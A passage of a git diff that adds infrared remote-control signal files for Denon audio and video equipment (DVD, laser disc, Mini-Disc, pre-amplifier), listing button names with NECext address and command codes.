+# +name: HDMI/DVI_FORMAT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: D0 00 00 00 +# +name: HDMI_FORMAT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: D0 00 00 00 +# +name: PURE_DIRECT_SELECT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: D4 00 00 00 +# +name: HDMI/DVI_SELECT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: D5 00 00 00 +# +name: HDMI/_DVI_SELECT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: D5 00 00 00 +# +name: HDMI_SELECT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: D5 00 00 00 +# +name: DISC_EXCHANGE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: FA 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: 06 00 00 00 +command: FD 00 00 00 +# +name: PAGE- +type: parsed +protocol: NECext +address: 06 00 00 00 +command: FD 00 00 00 +# +name: PAGE_-- +type: parsed +protocol: NECext +address: 06 00 00 00 +command: FD 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: 06 00 00 00 +command: FE 00 00 00 +# +name: PAGE+ +type: parsed +protocol: NECext +address: 06 00 00 00 +command: FE 00 00 00 +# +name: GROUP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/8,-1.ir new file mode 100644 index 000000000..6a0e56e14 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/8,-1.ir @@ -0,0 +1,1076 @@ +Filetype: IR signals file +Version: 1 +# +name: SACD_SETUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 7E 00 00 00 +# +name: SASC_SETUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 7E 00 00 00 +# +name: SUPER_AUDIO_CD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 7E 00 00 00 +# +name: SUPER_AUDIO_CD_SETUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 7E 00 00 00 +# +name: SUPER_AUDIO_CD_SET +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 7E 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 81 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 81 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 82 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 83 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 84 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 85 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 85 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 85 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 86 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 87 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 88 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 89 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 8A 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 8C 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 8C 00 00 00 +# +name: >=_10 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 8C 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 8C 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 8D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 8D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 8D 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 8E 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 8E 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 8F 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 90 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 91 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 92 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 92 00 00 00 +# +name: REAPEAT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 94 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 94 00 00 00 +# +name: SKIP_+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 98 00 00 00 +# +name: SKIP_FORWARD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 98 00 00 00 +# +name: SKIP>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 98 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 98 00 00 00 +# +name: NEXT_TRACK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 98 00 00 00 +# +name: SKIP_>>I +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 98 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 98 00 00 00 +# +name: SKIP>>I +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 98 00 00 00 +# +name: TRACK_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 98 00 00 00 +# +name: SKIP_- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 99 00 00 00 +# +name: SKIP_REVERSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 99 00 00 00 +# +name: SKIP<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 99 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 99 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 99 00 00 00 +# +name: PREVIOUS_TRACK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 99 00 00 00 +# +name: SKIP_I<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 99 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 99 00 00 00 +# +name: I< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9A 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9A 00 00 00 +# +name: SHUTTLE_FORWARD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9A 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9A 00 00 00 +# +name: SEARCH_>>_SLOW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9A 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9A 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9A 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9A 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9A 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9A 00 00 00 +# +name: SLOW>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9A 00 00 00 +# +name: >>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9A 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9A 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9A 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9B 00 00 00 +# +name: SLOW/FAST_REVERSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9B 00 00 00 +# +name: SLOW< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9B 00 00 00 +# +name: SHUTTLE_REVERSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9B 00 00 00 +# +name: SLOW/FAST_FORWARD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9B 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9B 00 00 00 +# +name: SEARCH_<<_SLOW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9B 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9B 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9B 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9B 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9B 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 9B 00 00 00 +# +name: < +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A0 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A1 00 00 00 +# +name: PROGRAM/DIRECT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A2 00 00 00 +# +name: PROG/DIR. +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A2 00 00 00 +# +name: PROG/DIRECT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A2 00 00 00 +# +name: PROG/DIR +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A2 00 00 00 +# +name: PROGRAM/DIR +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A2 00 00 00 +# +name: PROG./DIRECT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A2 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A3 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A4 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A5 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A6 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A7 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A7 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A8 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: A9 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AA 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AB 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AC 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AC 00 00 00 +# +name: C-UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AC 00 00 00 +# +name: MENU_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AC 00 00 00 +# +name: CURSER_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AC 00 00 00 +# +name: C_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AC 00 00 00 +# +name: UP_ARROW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AC 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AD 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AD 00 00 00 +# +name: CURSOR_DN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AD 00 00 00 +# +name: C-DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AD 00 00 00 +# +name: MENU_DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AD 00 00 00 +# +name: CURSER_DN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AD 00 00 00 +# +name: C_DN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AD 00 00 00 +# +name: DN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AD 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AD 00 00 00 +# +name: DOWN_ARROW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AD 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AE 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AE 00 00 00 +# +name: CURSOR_RT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AE 00 00 00 +# +name: C-RT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AE 00 00 00 +# +name: MENU_RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AE 00 00 00 +# +name: CURSER_RT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AE 00 00 00 +# +name: C_RT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AE 00 00 00 +# +name: RIGHT_ARROW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AE 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AF 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AF 00 00 00 +# +name: CURSOR_LF +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AF 00 00 00 +# +name: C-LF +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AF 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AF 00 00 00 +# +name: CURSER_LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AF 00 00 00 +# +name: C_LF +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AF 00 00 00 +# +name: LEFT_ARROW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: AF 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 08 00 00 00 +command: B1 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 08 00 00 00 +command: B1 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: B1 00 00 00 +# +name: DVD_ON +type: parsed +protocol: NECext +address: 08 00 00 00 +command: B1 00 00 00 +# +name: SRS.TS +type: parsed +protocol: NECext +address: 08 00 00 00 +command: B6 00 00 00 +# +name: V.S.S. +type: parsed +protocol: NECext +address: 08 00 00 00 +command: B6 00 00 00 +# +name: SRS_TS +type: parsed +protocol: NECext +address: 08 00 00 00 +command: B6 00 00 00 +# +name: VIRTUAL +type: parsed +protocol: NECext +address: 08 00 00 00 +command: B6 00 00 00 +# +name: V.S.S +type: parsed +protocol: NECext +address: 08 00 00 00 +command: B6 00 00 00 +# +name: NTSC/PAL +type: parsed +protocol: NECext +address: 08 00 00 00 +command: B7 00 00 00 +# +name: MARKER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: B9 00 00 00 +# +name: A-B_REPEAT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: BA 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 08 00 00 00 +command: BA 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: 08 00 00 00 +command: BA 00 00 00 +# +name: SIDE_A/B +type: parsed +protocol: NECext +address: 08 00 00 00 +command: BA 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: BB 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: BB 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: BB 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: BB 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: BC 00 00 00 +# +name: SET_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: BC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: BC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: BC 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: BD 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: BD 00 00 00 +# +name: TOP_MENNU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: BD 00 00 00 +# +name: TEST_RETURN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: BD 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: BD 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: BD 00 00 00 +# +name: CALL +type: parsed +protocol: NECext +address: 08 00 00 00 +command: BE 00 00 00 +# +name: FL_DISPLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: BF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Laser Disc/168,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Laser Disc/168,-1.ir new file mode 100644 index 000000000..47a752468 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Laser Disc/168,-1.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 09 00 00 00 +# +name: D/A.CX +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 0C 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 10 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 11 00 00 00 +# +name: CHAPTER/FRAME_TIME +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 13 00 00 00 +# +name: STOP/EJECT_[] +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 16 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 17 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 18 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1C 00 00 00 +# +name: EDIT +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1D 00 00 00 +# +name: AUDIO_MONITOR +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1E 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1F 00 00 00 +# +name: JOG_FORWARD_+ +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 20 00 00 00 +# +name: JOG_REVERSE_- +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 24 00 00 00 +# +name: SHUT.FWD(FULL_SP) +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 2B 00 00 00 +# +name: SHUT.REV(FULL_SP) +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 2F 00 00 00 +# +name: D-LEVEL_CONTROL +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 37 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 43 00 00 00 +# +name: REPEAT_B +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 44 00 00 00 +# +name: C_(CLEAR) +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 45 00 00 00 +# +name: MULTI_SPEED_- +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 46 00 00 00 +# +name: MULTI_SPEED_+ +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 47 00 00 00 +# +name: REPEAT_A +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 48 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4C 00 00 00 +# +name: DISC_SIDE_A +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4D 00 00 00 +# +name: DISC_SIDE_B +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4E 00 00 00 +# +name: STILL/STEP_< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 50 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 52 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 53 00 00 00 +# +name: STILL/STEP_> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 54 00 00 00 +# +name: MULTI_SPEED_< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 55 00 00 00 +# +name: MULTI_SPEED_> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 58 00 00 00 +# +name: HILITE/INTRO +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 5A 00 00 00 +# +name: STROBE +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 5B 00 00 00 +# +name: ONE_SHOT_MEMORY +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Mini-Disc/6,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Mini-Disc/6,-1.ir new file mode 100644 index 000000000..21583ffc8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Mini-Disc/6,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: C1 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: C2 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: C3 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: C4 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: C5 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: C6 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: C7 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: C8 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: C9 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: CA 00 00 00 +# +name: MEMORY_REC +type: parsed +protocol: NECext +address: 06 00 00 00 +command: D1 00 00 00 +# +name: SYNCHRO_REC +type: parsed +protocol: NECext +address: 06 00 00 00 +command: D2 00 00 00 +# +name: CHARACTER +type: parsed +protocol: NECext +address: 06 00 00 00 +command: DD 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 06 00 00 00 +command: DE 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 06 00 00 00 +command: DF 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 06 00 00 00 +command: E0 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: E1 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 06 00 00 00 +command: E2 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: E3 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 06 00 00 00 +command: E5 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: E6 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: E8 00 00 00 +# +name: >>I +type: parsed +protocol: NECext +address: 06 00 00 00 +command: E9 00 00 00 +# +name: I<< +type: parsed +protocol: NECext +address: 06 00 00 00 +command: EA 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 06 00 00 00 +command: EB 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 06 00 00 00 +command: EC 00 00 00 +# +name: EDIT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: EF 00 00 00 +# +name: PROG/DIRECT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: F0 00 00 00 +# +name: REPEAT_1/ALL +type: parsed +protocol: NECext +address: 06 00 00 00 +command: F1 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: 06 00 00 00 +command: F2 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 06 00 00 00 +command: F3 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 06 00 00 00 +command: F4 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: F5 00 00 00 +# +name: CALL +type: parsed +protocol: NECext +address: 06 00 00 00 +command: F6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Pre-Amplifier/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Pre-Amplifier/12,-1.ir new file mode 100644 index 000000000..db92ace4c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Pre-Amplifier/12,-1.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: DIGITAL_DBS/BS +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 83 00 00 00 +# +name: DIGITAL_VDP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 84 00 00 00 +# +name: DIGITAL_CD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 85 00 00 00 +# +name: DIGITAL_DAT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 86 00 00 00 +# +name: TUNER_CH_V +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D5 00 00 00 +# +name: TUNER_CH_^ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D6 00 00 00 +# +name: TUNER_BAND +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D7 00 00 00 +# +name: TUNER_AT/MANU +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D8 00 00 00 +# +name: TUNER_TUNE_^ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D9 00 00 00 +# +name: TUNER_TUNE_V +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: DA 00 00 00 +# +name: TUNER_RF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: DB 00 00 00 +# +name: TUNER_P.SCAN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: DC 00 00 00 +# +name: TUNER_POWER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: DD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Pre-Amplifier/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Pre-Amplifier/2,-1.ir new file mode 100644 index 000000000..0463d5f36 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Pre-Amplifier/2,-1.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: CD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C4 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C5 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C6 00 00 00 +# +name: DBS/BS +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C8 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C9 00 00 00 +# +name: VDP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CA 00 00 00 +# +name: V.AUX +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CC 00 00 00 +# +name: VCR-1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CD 00 00 00 +# +name: VCR-2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CE 00 00 00 +# +name: TAPE-1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D2 00 00 00 +# +name: DAT/TAPE-2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D3 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F0 00 00 00 +# +name: MASTER_^ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F1 00 00 00 +# +name: MASTER_V +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Processor/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Processor/12,-1.ir new file mode 100644 index 000000000..eb78678ce --- /dev/null +++ 